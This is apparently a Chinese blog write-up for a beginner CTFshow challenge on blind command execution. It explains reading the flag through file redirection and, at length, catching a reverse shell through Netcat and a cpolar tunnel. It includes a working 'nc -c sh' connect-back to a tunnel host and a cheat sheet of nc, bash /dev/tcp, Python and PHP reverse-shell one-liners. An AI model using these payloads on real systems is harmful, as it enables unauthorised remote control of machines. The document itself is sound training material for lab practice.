CTFshow Web 入门|反弹 Shell 构造超详细 Writeup(Netcat+cpolar+无公网 IP 解决方案)
CTFshow Web 入门 | 反弹 Shell 构造超详细 Writeup(附 Netcat 安装 + cpolar 内网穿透 + 全流程图解)
📌 本文适合人群:CTF 新手、Web 安全初学者、渗透测试学习者
📌 阅读时间:10 分钟
📌 难度:⭐⭐(入门)
📖 前言
最近在刷CTFshow Web 入门时,做到「反弹 Shell 构造」这道题,发现网上很多 Writeup 都只是给出一个 Payload:
nc-cshIP PORT却没有解释:
- 为什么需要反弹 Shell?
- 为什么没有公网 IP 就连不上?
- Netcat 怎么安装?
- cpolar 怎么配置?
- 为什么 nc 一直 Listening?
- 为什么显示 127.0.0.1?
导致很多刚接触 Web 安全的同学完全照着做也成功不了。
因此写下这篇文章,从 0 开始,带大家完成整个反弹 Shell 的过程。
文章不仅讲如何做题,更会讲清楚每一步背后的原理。
📑 目录
- 一、题目分析
- 二、两种解题思路
- 三、方法一:写文件读取 Flag
- 四、方法二:反弹 Shell(重点)
- 五、Netcat 安装
- 六、cpolar 内网穿透配置
- 七、完整反弹流程
- 八、常见问题排查
- 九、常用 Payload 汇总
- 十、总结
一、题目信息
| 项目 | 内容 |
|---|---|
| 平台 | CTFshow |
| 题目 | 反弹 Shell 构造 |
| 类型 | 无回显 RCE |
| 难度 | ⭐⭐ |
| 知识点 | RCE、反弹 Shell、内网穿透 |
页面提供一个 Shell 执行框。
无论输入什么命令,都只返回:
execute success!不会显示任何输出。
因此,这是典型的:
无回显命令执行(Blind RCE)
二、解题思路
对于这种题,一般有两种方法。
方法一:文件写入(推荐新手)
利用 Linux 重定向:
>把执行结果写入网站目录。
浏览器再访问 txt 文件即可。
优点:
✅ 简单
✅ 不需要任何工具
缺点:
❌ 学不到反弹 Shell
方法二:反弹 Shell(推荐)
让靶机主动连接我们的电脑。
获得一个真正的 Shell。
优点:
✅ 实战最常见
✅ 可以执行任意命令
三、方法一:写文件读取 Flag
① 查看目录
执行:
ls>1.txt浏览器访问:
https://你的题目地址/1.txt结果:
index.php flag.php② 查看 Flag
执行:
catflag.php>1.txt刷新浏览器即可看到:
<?php$flag="CTF{reverse_shell_use_nc}";整个过程仅需几十秒。
四、为什么要反弹 Shell?
很多同学第一次都会问:
为什么不能直接执行命令?
因为:
执行结果没有回显。
例如:
ls服务器虽然执行成功了。
但是:
浏览器 ↓ execute success!你根本不知道执行结果。
所以必须:
让服务器主动把 Shell 发回来。
流程如下:
浏览器 │ ▼ RCE漏洞 │ ▼ 靶机执行 nc │ ▼ 连接你的电脑 │ ▼ 获得交互式 Shell五、为什么需要内网穿透?
很多同学认为:
我本机开 nc 不就行了吗?
事实上:
你的电脑一般都是:
192.168.x.x 10.x.x.x这些都是:
内网 IP
公网服务器无法直接访问。
因此需要:
CTF靶机 ↓ cpolar公网服务器 ↓ 你的电脑 ↓ Netcat监听所以:
cpolar 的作用就是把你的电脑暴露到公网。
六、工具准备
需要两个工具:
| 工具 | 作用 |
|---|---|
| Netcat | 接收反弹 Shell |
| cpolar | 内网穿透 |
七、安装 Netcat
方法一(推荐)
下载:
https://eternallybored.org/misc/netcat/得到:
nc.exe方法二(更推荐)
安装:
Nmap安装时勾选:
- Ncat
- Register PATH
验证:
ncat--version监听:
nc-lvvp4444参数:
| 参数 | 说明 |
|---|---|
| -l | Listen |
| -v | Verbose |
| -p | Port |
八、配置 cpolar
官网:
https://www.cpolar.com安装完成:
配置 Token:
cpolar authtoken 你的Token启动:
cpolar tcp 4444得到:
tcp://27.tcp.cpolar.top:13777其中:
公网域名:
27.tcp.cpolar.top公网端口:
13777九、完整反弹流程
第一步
开启 cpolar:
cpolar tcp 4444第二步
开启 nc:
nc-lvvp4444看到:
Listening on 4444...第三步
靶机执行:
nc-csh27.tcp.cpolar.top13777第四步
收到连接:
connect to [127.0.0.1] from kubernetes.docker.internal很多人疑惑:
为什么不是靶机 IP?
原因:
靶机 ↓ cpolar服务器 ↓ 本地cpolar客户端 ↓ nc真正连接 nc 的其实是:
127.0.0.1这是正常现象。
第五步
执行:
lscatflag.php即可得到:
CTF{reverse_shell_use_nc}十、常见问题
❓ nc 一直 Listening?
检查:
- cpolar 是否 online
- IP 是否正确
- 端口是否正确
❓ bash /dev/tcp 不行?
因为:
sh dash不支持:
/dev/tcp建议:
nc❓ Shell 不能交互?
升级:
/bin/bash-i或者:
python3-c'import pty;pty.spawn("/bin/bash")'❓ nc 找不到?
进入目录:
cd nc目录.\nc.exe或者:
配置环境变量。
十一、常见反弹 Payload
Netcat
nc-cshIP PORTnc-e/bin/sh IP PORTmkfifo/tmp/fcat/tmp/f|/bin/sh-i2>&1|ncIP PORT>/tmp/fBash
bash-i>&/dev/tcp/IP/PORT0>&1Python
python3-c 'importsocket,subprocess,os;s=socket.socket();s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'PHP
php-r'$sock=fsockopen("IP",PORT); exec("/bin/bash -i <&3 >&3 2>&3");'📚 总结
本文完整介绍了 CTFshow Web 入门「反弹 Shell 构造」的两种解法:
✅ 文件写入读取 Flag
✅ Netcat 反弹 Shell
✅ cpolar 内网穿透配置
✅ 常见 Payload 汇总
✅ 常见问题排查
建议大家不要只会复制 Payload,而是理解整个数据流:
浏览器 ↓ RCE ↓ 靶机 ↓ 公网 ↓ cpolar ↓ 你的电脑 ↓ Shell真正理解之后,再遇到任何反弹 Shell 题目,都能够快速分析并解决。
📌 参考资料
- CTFshow 官方平台
- Nmap 官方文档
- Netcat 官方项目
- cpolar 官方文档
🎯 觉得有帮助的话
如果这篇文章对你有所帮助,欢迎:
⭐ 点赞
📌 收藏
💬 评论交流
你的支持就是我持续更新安全技术博客的最大动力!
